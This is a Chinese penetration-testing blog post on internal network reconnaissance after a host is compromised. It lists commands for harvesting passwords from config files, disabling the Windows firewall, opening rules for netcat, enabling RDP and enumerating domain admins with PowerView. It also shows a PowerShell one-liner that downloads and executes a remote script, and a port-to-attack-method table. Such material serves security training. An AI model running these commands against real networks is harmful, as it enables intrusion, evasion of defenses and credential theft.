渗透测试-23:内网信息收集

内网信息收集的作用

可以通过信息收集判断当前设备的角色、当前网络的环境、当前所属的区域,绘制出大概的内网整体的拓扑结构图

区域:

普通办公区设备
DMZ区域的WEB服务器
内网普通WEB服务器
开发测试服务器
文件共享服务器
代理服务器
DNS服务器
核心业务系统服务器

设备信息:

设备提供服务
设备所处位置
设备主机名
设备内部文件
设备网络连接

设备关键信息

操作系统
系统版本
系统服务
系统端口
系统进程
系统补丁
内网IP地址段
系统权限
系统共享
网络连接
杀毒软件
用户角色

敏感信息收集

资料、文件和数据

数据和文件定位
定位内部人事组织架构
监视等重要人员
监视人员设备
人员存放文档的位置
列举文档服务器目录

核心业务机器

高级管理、人事、财务等个人电脑
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器
数据库服务器
文件/共享服务器
电子邮件服务器
网络监控服务器
供应链服务器

敏感信息和文件

网站源码备份文件、数据库备份文件
各类数据库的WEB管理/后台入口
浏览器密码和浏览器Cookie
远程桌面连接
回收站
个人及服务器相关密码
无线密码
各类系统账号和密码等
浏览器浏览记录

应用与文件形式信息收集

  • 拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收集完了再搞内网
  • 往目标主机中传工具用完就删
  • 翻文件的话,可以使用一些搜索命令来快速寻找
# 指定目录下的文件中搜集各种账号密码:
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

前后端基本架构

渗透测试人员需要对目标网站的基本情况进行简单的判断,分析目标服务器所使用的web服务器、后端脚本、数据库、系统平台等

# 常见的web架构
ASP + Access + IIS 5.0/6.0 + Windows Server 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Server 2008
PHP + MySQL + Apache
PHP + MySQL + IIS
PHP + MySQL + Nginx
JSP + MySQL + Nginx
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat

本机信息收集

Windows Linux
网络 ipconfig /all ifconfig
操作系统 - systeminfo | findstr OS
- systeminfo | findstr "KB"
- systeminf0 | findstr /B /C:"OS 名称" /C:"OS 版本"
- echo %PROCESSOR_ARCHITECTURE%
- uname –a
- cat /proc/version
软件及版本 - wmic product get name,version
- powershell "get-wmiobject -class win32_product | select-object -property name,version"
- dpkg –l
- dpkg –l <软件名称>
服务 - wmic service list brief
- net start
- 检测是否安装杀软:https://www.ddosi.org/av/1.php
- service --status-all
- service <服务名> status
进程 - tasklist
- wmic process get name,processid
- ps –aux
- ps –ef
- ps –aux | gerp ftp
启动程序 wmic startup get command,caption dmesg
计划任务 - at
- schtasks
- net start
- chcp 437 && schtasks /query /fo LIST /v > tasks.txt
crontab -l
开机时间 net statistics workstation - cat /proc/uptime
- date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"
- cat /proc/uptime | awk -F. '{run_days=$1/86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'
用户 - 本机用户列表:net user
- 本地管理员组信息:net localgroup administrators
- 当前在线用户:query user
- cat /etc/passwd
- cat /etc/group
会话 net session
端口 netstat –ano netstat –antpl
补丁 - systeminfo
- wmic qfe get Caption,Description,HotFixID,InstalledOn
共享 - net share
- wmic share get name,path,status
路由及ARP - route print
- arp -a
- route
- arp –a
防火墙 - 查看防火墙配置:netsh firewall show config
- 关闭防火墙配置:netsh firewall set opmode disable
- 关闭防火墙配置:netsh advfirewall set allprofiles state off
- 允许指定程序全部链接:netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
- 允许指定程序入站:netsh advfirewall firewall add rule name= "pass nc" dir=in action=allow program="C:\nc.exe"
- 允许指定程序出站:netsh advfirewall firewall add rule name= "out nc" dir=out action=allow program="C:\nc.exe"
- 允许RDP(3389)端口放行:netsh advfirewall firewall add rule name= "Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志的储存位置:netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
代理 - 代理配置:reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
远程 - 查看远程连接端口(16进制需要转成10进制):reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
- 查看远程桌面开启状态:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD
- 打开远程桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
- 关闭远程桌面:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
- 关闭远程桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f
权限及SID whoami /all whoami

自动收集信息

为了简化操作,可以创建一个脚本, 在目标机器上完成流程、服务、用户账号、用户组、网时区等信息的查询工作。

利用 WMIC 进行信息收集:创建 wmic.bat 文件 写入如下内容,运行后生成 .html 文件

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> sysinfo.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> sysinfo.html
wmic USERACCOUNT list full /format:"%var%" >> sysinfo.html
wmic group list full /format:"%var%" >> sysinfo.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> sysinfo.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> sysinfo.html
wmic netuse list full /format:"%var%" >> sysinfo.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> sysinfo.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> sysinfo.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> sysinfo.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> sysinfo.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> sysinfo.html

域内信息收集

描述 命令
查询域名 ipconfig /all
查询DNS的记录 nslookup <域名>
存在用户 dsquery user
域内用户详细信息 wmic useraccount get /all
判断主域控 netdom query pdc
用时间服务器判断主域 net time /domain
当前登录域及用户信息 net config workstation
查询域 net view /domain
域内所有计算机 net view /domain:<域名>
所有域用户列表 net user /domain
本地管理员组用户 net localgroup administrators
查询域内所有用户 net group /domain
域管理员列表 net group "domain admins" /domain
企业管理员列表 net group "Enterprise admins" /domain
域成员计算机列表 net group "domain computers" /domain
域控列表 net group "domain controllers" /domain
域密码策略信息 net accounts /domain
域信任信息 nltest /domain_trusts
域控主机名 nltest /DCLIST:<域名>
域管理进程 tasklist -v

域内活跃主机探测

NetBIOS扫描

  • NetBIOS(Network Basic Input/Output System)即网络基本输入/输出系统协议
  • NetBIOS 协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在 NetBIOS 协议的基础上工作的
  • nbtscan.exe 是一个命令行工具,可以扫描本地或者远程网路上开放的 NetBIOS 名称服务,可以获取对应的域名信息
  • 某些版本的 windows 操作系统允许用户通过 NetBOIS 查询已登录用户,可用通过脚本扫描远程系统活跃域中的管理会话
nbtscan.exe -h
nbtscan.exe -m <xxx.xxx.xxx.0>/24

# 扫描远程系统的 NetBOIS 信息
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

ICMP扫描

ICMP 协议全称为 Internet Control Message Protocol (Internet控制报文协议),依次对内网中的每个 IP 地址执行 ping 命令,可以快速找到内网中全部存活的主机

for /L %I in (1,1,254) Do @ping -w 1 -n 1 <xxx.xxx.xxx>.%I | findstr "TTL="

ARP扫描

地址解析协议,即 ARP(Address Resolution Protocol),是根据 IP 地址获取物理地址的一个 CP/IP 协议。主机发送信息时将包含目标 IP 地址的 ARP 请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址

arp-scan.exe -t <xxx.xxx.xxx.0>/24

Nishang脚本

项目地址:https://github.com/samratashok/nishang

powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.253.0/24}"

域内端口扫描

Metasploit

# 进入 msf 命令行
msfconsole

# 搜索端口扫描模块
search portscan

# 使用TCP扫描模块
use auxiliary/scanner/portscan/tcp

# 查看需要设置的参数
show options

# 设置扫描目标的IP
set rhosts <目标IP>

# 设置要扫描的端口
set ports <端口1>,<端口2>,<端口3>,...

# 开始扫描
run

banner信息

常需扫描的端口有:22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432,53,161,137,139

端口 服务 入侵方式
21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门
22 ssh远程连接 爆破/openssh漏洞
23 Telnet远程连接 爆破/嗅探/弱口令
25 SMTP邮件服务 邮件伪造
53 DNS域名解析系统 域传送/劫持/缓存投毒/欺骗
67/68 DHCP服务 劫持/欺骗
110 pop3 爆破/嗅探
139 Samba服务 爆破/未授权访问/远程命令执行
143 Imap协议 爆破
161 SNMP协议 爆破/搜集目标内网信息
389 Ldap目录访问协议 注入/未授权访问/弱口令
445 smb ms17-010/端口移出
512/513/514 Linux Rexec服务 爆破/Rlogin登录
873 Rsync服务 文件上传/未授权访问
1080 socket 爆破
1352 Lotus domino邮件服务 爆破/信息泄露
1433 mssql 爆破/注入/SA弱口令
1521 oracle 爆破/注入/TNS爆破/反弹shell
2049 Nfs服务 配置不当
2181 zookeeper服务 未授权访问
2375 docker remote api 未授权访问
3306 mysql 爆破/注入
3389 Rdp远程桌面链接 爆破/shift后门
4848 GlassFish控制台 爆破/认证绕过
5000 sybase/DB2数据库 爆破/注入/提权
5432 postgresql 爆破/注入/缓冲区溢出
5632 pcanywhere服务 抓密码/代码执行
5900 vnc 爆破/认证绕过
6379 Redis数据库 未授权访问/爆破
7001/7002 weblogic java反序列化/控制台弱口令
80/443 http/https web应用漏洞/心脏滴血
8069 zabbix服务 远程命令执行/注入
8161 activemq 弱口令/写文件
8080/8089 Jboss/Tomcat/Resin 爆破/PUT文件上传/反序列化
8083/8086 influxDB 未授权访问
9000 fastcgi 远程命令执行
9090 Websphere控制台 爆破/java反序列化/弱口令
9200/9300 elasticsearch 远程代码执行
11211 memcached 未授权访问
27017/27018 mongodb 未授权访问/爆破

定位域管理员

psloggedon

  • 在 Windows 上可以执行 net session 来查看谁使用了本机资源,但是没有命令可用来查看谁在使用了远程计算机资源,谁登陆了远程计算机资源,使用 psloggedon 可以解决这一问题。

  • 地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

  • 用法:psloggedon [- ] [-l] [-x] [\\computername | username]

PVEFindADUser

  • 用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要 .NET Framework2.0 环境,并且具备管理员权限。

  • 用法:PVEFindADUser.exe -current

netview

  • 使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。大部分功能不需要管理员权限。

  • 地址:https://github.com/mubix/netview

PowerView(常用)

PowerShell收集信息

PowerShell是微软推出的一款满足管理员对操作系统及应用程序扩展需求的一个脚本环境,是cmd.exe的加强版

4种执行权限

  • Restricted - 默认的设置,不允许任何script运行
  • AllSigned - 只能运行经过数字证书签名的script
  • RemoteSigned - 本地脚本不做限制,网络上下载的script就必须要有数字签名
  • Unrestricted - 允许所有的script运行,权限最高

脚本地址:https://github.com/PowerShellEmpire/PowerTools

# 查看当前权限
Get-ExecutionPolicy

# 修改权限
Set-ExecutionPolicy <Unrestricted> 

# 导入脚本
Import-Module <powerview.ps1>

# 绕过权限
powershell -exec bypass "import-module ./<powerview.ps1>;<命令>"
powershell -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<远程IP>/<powerview.ps1>');<命令>"

PowerView

PowerView 是一款依赖 Powershell 和 WMI 对内网进行查询的渗透测试脚本

常用命令

命令 描述
Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetPrinter 获取域中所有当前计算机对象的数组
Get-NetOU 获取域内的OU信息
Get-NetGroup 获取所有域内组和组成员的信息
Get-NetGroupMember 获取指定域组中所有当前用户的列表
Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息
Get-NetShare 获取当前域内所有的网络共享信息
Get-DFSshare 获取域上所有分发文件系统共享的列表
Get-NetSubnet 获取域的其他网段
Get-NetSite 获取域内的当前站点
Get-NetDomainTrust 获取当前用户域的所有信任
Get-NetForestTrust 获取与当前用户的域关联的林的所有信任
Find-ForeignUser 枚举在其主域之外的组中的用户
Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户
Invoke-MapDomainTrust 尝试构建所有域信任的关系映射
Get-NetLoggedon 获取主动登录到指定服务器的用户
Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取指定服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-NetGPOGroup 获取域中设置”受限组”的所有GPO
Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机
Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限
Get-DomainPolicy 获取域默认策略或域控制器策略
Get-DomainSID 返回指定域的SID
Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享
Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件
Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机
Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力
Get-ExploitableSystem 发现系统可能易受常见攻击
Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
posted @ 2022-05-18 22:03  toki-plus  阅读(291)  评论(0编辑  收藏  举报